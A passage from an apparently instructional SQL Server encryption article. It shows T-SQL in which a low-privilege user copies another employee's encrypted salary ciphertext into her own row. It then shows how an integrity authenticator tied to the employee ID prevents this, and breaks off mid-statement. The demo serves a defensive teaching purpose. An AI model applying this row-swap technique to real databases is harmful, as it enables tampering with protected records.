&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;go&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;GRANT&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; &lt;span style="color: blue;"&gt;SELECT&lt;/span&gt; &lt;span style="color: blue;"&gt;ON&lt;/span&gt; employees &lt;span style="color: blue;"&gt;TO&lt;/span&gt; [mallory];&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;go&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;o:p&gt;&lt;span style="font-family: Times New Roman; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp; &lt;/span&gt;In this scenario, Mallory may not be able to recover the plaintext from anybody else in the company, but she may still be able to modify her own salary. She may not be able to see the salary for Alice, her manager, but she can easily guess that Alice&amp;rsquo;s salary is higher than her own. What would Mallory do? Simply copy Alice&amp;rsquo;s salary into her own row.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;EXECUTE&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; &lt;span style="color: blue;"&gt;AS&lt;/span&gt; &lt;span style="color: fuchsia;"&gt;USER&lt;/span&gt;&amp;nbsp;&lt;span style="color: gray;"&gt;=&lt;/span&gt; &lt;span style="color: red;"&gt;'mallory'&lt;/span&gt;;&lt;span style="color: red;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;go&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: green; font-size: 10pt;"&gt;--Msg 15151, Level 16, State 1, Line 1&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: green; font-size: 10pt;"&gt;--Cannot find the symmetric key 'key_employee', because it does not exist or you do not have permission.&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;OPEN&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; &lt;span style="color: blue;"&gt;SYMMETRIC&lt;/span&gt; &lt;span style="color: blue;"&gt;KEY&lt;/span&gt; key_employee &lt;span style="color: blue;"&gt;DECRYPTION&lt;/span&gt; &lt;span style="color: blue;"&gt;BY&lt;/span&gt; &lt;span style="color: blue;"&gt;CERTIFICATE&lt;/span&gt; cert_demo;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;go&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: green; font-size: 10pt;"&gt;--1&amp;nbsp;&amp;nbsp; Alice 0x... (Alice&amp;rsquo;s salary)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: green; font-size: 10pt;"&gt;--2&amp;nbsp;&amp;nbsp; Bob 0x... (Bob&amp;rsquo;s salary)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: green; font-size: 10pt;"&gt;--3&amp;nbsp;&amp;nbsp; Mallory 0x... (Mallory&amp;rsquo;s salary)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;SELECT&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; &lt;span style="color: gray;"&gt;*&lt;/span&gt; &lt;span style="color: blue;"&gt;FROM&lt;/span&gt; employees;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;go&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: green; font-size: 10pt;"&gt;-- Mallory can copy Alice&amp;rsquo;s salary into her own row&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: green; font-size: 10pt;"&gt;-- Alice's ID = 1&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: green; font-size: 10pt;"&gt;-- Mallory's ID = 3&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;DECLARE&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; @ceo_grade_salary &lt;span style="color: blue;"&gt;varbinary&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;8000&lt;span style="color: gray;"&gt;)&lt;/span&gt;;&lt;span style="color: gray;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;SELECT&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; @ceo_grade_salary &lt;span style="color: gray;"&gt;=&lt;/span&gt; salary_crypt &lt;span style="color: blue;"&gt;FROM&lt;/span&gt; employees &lt;span style="color: blue;"&gt;WHERE&lt;/span&gt; employee_id &lt;span style="color: gray;"&gt;=&lt;/span&gt; 1;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;UPDATE&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; employees &lt;span style="color: blue;"&gt;SET&lt;/span&gt; salary_crypt &lt;span style="color: gray;"&gt;=&lt;/span&gt; @ceo_grade_salary &lt;span style="color: blue;"&gt;WHERE&lt;/span&gt; employee_id &lt;span style="color: gray;"&gt;=&lt;/span&gt; 3;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;go&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: green; font-size: 10pt;"&gt;--1&amp;nbsp;&amp;nbsp; Alice 0x... (Alice&amp;rsquo;s salary)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: green; font-size: 10pt;"&gt;--2&amp;nbsp;&amp;nbsp; Bob 0x... (Bob&amp;rsquo;s salary)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: green; font-size: 10pt;"&gt;--3&amp;nbsp;&amp;nbsp; Mallory 0x... (Alice&amp;rsquo;s salary)&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: green; font-size: 10pt;"&gt;-- Looks like a successful attack at a glance&amp;hellip;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;SELECT&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; &lt;span style="color: gray;"&gt;*&lt;/span&gt; &lt;span style="color: blue;"&gt;FROM&lt;/span&gt; employees;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;go&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;REVERT&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt;;&lt;span style="color: blue;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;go&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;o:p&gt;&lt;span style="font-family: Calibri; font-size: small;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/o:p&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp; &lt;/span&gt;If the ciphertext for salary was created without any form of integrity check that takes into account the context in which the value is meaningful (i.e. it hasn&amp;rsquo;t been copied from one row to another), mallory&amp;rsquo;s attack may be successful.&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: green; font-size: 10pt;"&gt;-- ... and it was indeed a successful attack!&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: green; font-size: 10pt;"&gt;--&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: green; font-size: 10pt;"&gt;--1&amp;nbsp;&amp;nbsp; Alice &lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;5000&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: green; font-size: 10pt;"&gt;--2&amp;nbsp;&amp;nbsp; Bob &lt;span style="mso-tab-count: 2;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;1000&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;b style="mso-bidi-font-weight: normal;"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; background: yellow; color: green; font-size: 10pt; mso-highlight: yellow;"&gt;--3&amp;nbsp;&amp;nbsp; Mallory &lt;span style="mso-tab-count: 1;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;5000&lt;/span&gt;&lt;/b&gt;&lt;b style="mso-bidi-font-weight: normal;"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: green; font-size: 10pt;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/b&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;SELECT&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; employee_id&lt;span style="color: gray;"&gt;,&lt;/span&gt; name&lt;span style="color: gray;"&gt;,&lt;/span&gt; &lt;span style="color: fuchsia;"&gt;CONVERT(&lt;/span&gt;&lt;span style="color: blue;"&gt;decimal&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: fuchsia; font-size: 10pt;"&gt;DECRYPTBYKEY&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: gray; font-size: 10pt;"&gt;(&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt;salary_crypt&lt;span style="color: gray;"&gt;))&lt;/span&gt; &lt;span style="color: blue;"&gt;AS&lt;/span&gt; salary &lt;span style="color: blue;"&gt;FROM&lt;/span&gt; employees;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;Go&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormal"&gt;&lt;span style="font-size: small;"&gt;&lt;span style="font-family: Calibri;"&gt;&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp; &lt;/span&gt;In order to prevent these kind of attacks using SQL Server encryption built-ins, the application developer may make use of the @add_authenticator parameter set to 1 and set the @authenticator parameter to a unique-per-row, immutable value such as the employee ID in this example (which also happens to be the primary key in this case). &lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;DROP&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; &lt;span style="color: blue;"&gt;TABLE&lt;/span&gt; employees;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;go&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;CREATE&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; &lt;span style="color: blue;"&gt;TABLE&lt;/span&gt; employees&lt;span style="color: gray;"&gt;(&lt;/span&gt; employee_id &lt;span style="color: blue;"&gt;int&lt;/span&gt; &lt;span style="color: blue;"&gt;identity&lt;/span&gt; &lt;span style="color: blue;"&gt;primary&lt;/span&gt; &lt;span style="color: blue;"&gt;key&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt;name &lt;span style="color: blue;"&gt;nvarchar&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;256&lt;span style="color: gray;"&gt;),&lt;/span&gt; salary_crypt &lt;span style="color: blue;"&gt;varbinary&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;8000&lt;span style="color: gray;"&gt;))&lt;/span&gt;;&lt;span style="color: gray;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;go&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;OPEN&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; &lt;span style="color: blue;"&gt;SYMMETRIC&lt;/span&gt; &lt;span style="color: blue;"&gt;KEY&lt;/span&gt; key_employee &lt;span style="color: blue;"&gt;DECRYPTION&lt;/span&gt; &lt;span style="color: blue;"&gt;BY&lt;/span&gt; &lt;span style="color: blue;"&gt;CERTIFICATE&lt;/span&gt; cert_demo;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;go&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: green; font-size: 10pt;"&gt;--&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;This time we will use the employee ID as &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: green; font-size: 10pt;"&gt;-- @authenticator for the encryption field&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: green; font-size: 10pt;"&gt;--&lt;span style="mso-spacerun: yes;"&gt;&amp;nbsp;&amp;nbsp; &lt;/span&gt;Given the simplicity of the nature of this demo, I will create the &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: green; font-size: 10pt;"&gt;-- rows first (to populate the ID) and add the salaries later&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: green; font-size: 10pt;"&gt;--&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;INSERT&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; &lt;span style="color: blue;"&gt;INTO&lt;/span&gt; employees &lt;span style="color: blue;"&gt;VALUES &lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt; &lt;span style="color: red;"&gt;N'Alice'&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; &lt;span style="color: gray;"&gt;null)&lt;/span&gt;;&lt;span style="color: gray;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;INSERT&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; &lt;span style="color: blue;"&gt;INTO&lt;/span&gt; employees &lt;span style="color: blue;"&gt;VALUES &lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt; &lt;span style="color: red;"&gt;N'Bob'&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; &lt;span style="color: gray;"&gt;null)&lt;/span&gt;;&lt;span style="color: gray;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;INSERT&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; &lt;span style="color: blue;"&gt;INTO&lt;/span&gt; employees &lt;span style="color: blue;"&gt;VALUES &lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt; &lt;span style="color: red;"&gt;N'Mallory'&lt;/span&gt;&lt;span style="color: gray;"&gt;,&lt;/span&gt; &lt;span style="color: gray;"&gt;null)&lt;/span&gt;;&lt;span style="color: gray;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;go&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: green; font-size: 10pt;"&gt;-- Update each salary using the employee_id as @authenticator&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;UPDATE&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; employees &lt;span style="color: blue;"&gt;SET&lt;/span&gt; salary_crypt &lt;span style="color: gray;"&gt;=&lt;/span&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: fuchsia; font-size: 10pt;"&gt;ENCRYPTBYKEY&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: gray; font-size: 10pt;"&gt;(&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; &lt;span style="color: fuchsia;"&gt;key_guid&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;&lt;span style="color: red;"&gt;'key_employee'&lt;/span&gt;&lt;span style="color: gray;"&gt;),&lt;/span&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: fuchsia; font-size: 10pt;"&gt;CONVERT(&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;varbinary&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: gray; font-size: 10pt;"&gt;(&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt;100&lt;span style="color: gray;"&gt;),&lt;/span&gt; 5000.00&lt;span style="color: gray;"&gt;),&lt;/span&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; background: yellow; font-size: 10pt; mso-highlight: yellow;"&gt;1&lt;span style="color: gray;"&gt;,&lt;/span&gt; &lt;span style="color: fuchsia;"&gt;CONVERT(&lt;/span&gt;&lt;span style="color: blue;"&gt;varbinary&lt;/span&gt;&lt;span style="color: gray;"&gt;(&lt;/span&gt;8000&lt;span style="color: gray;"&gt;),&lt;/span&gt; employee_id&lt;span style="color: gray;"&gt;)&lt;/span&gt;&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: gray; font-size: 10pt;"&gt;) &lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;WHERE&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; employee_id &lt;span style="color: gray;"&gt;=&lt;/span&gt; 1;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;&lt;o:p&gt;&amp;nbsp;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
&lt;p class="MsoNormalCxSpMiddle"&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; color: blue; font-size: 10pt;"&gt;UPDATE&lt;/span&gt;&lt;span style="line-height: 115%; font-family: 'Courier New'; font-size: 10pt;"&gt; employees &lt;span style="color: blue;"&gt;SET&lt;/span&gt; salary_crypt &lt;span style="color: gray;"&gt;=&lt;/span&gt; &lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/p&gt;
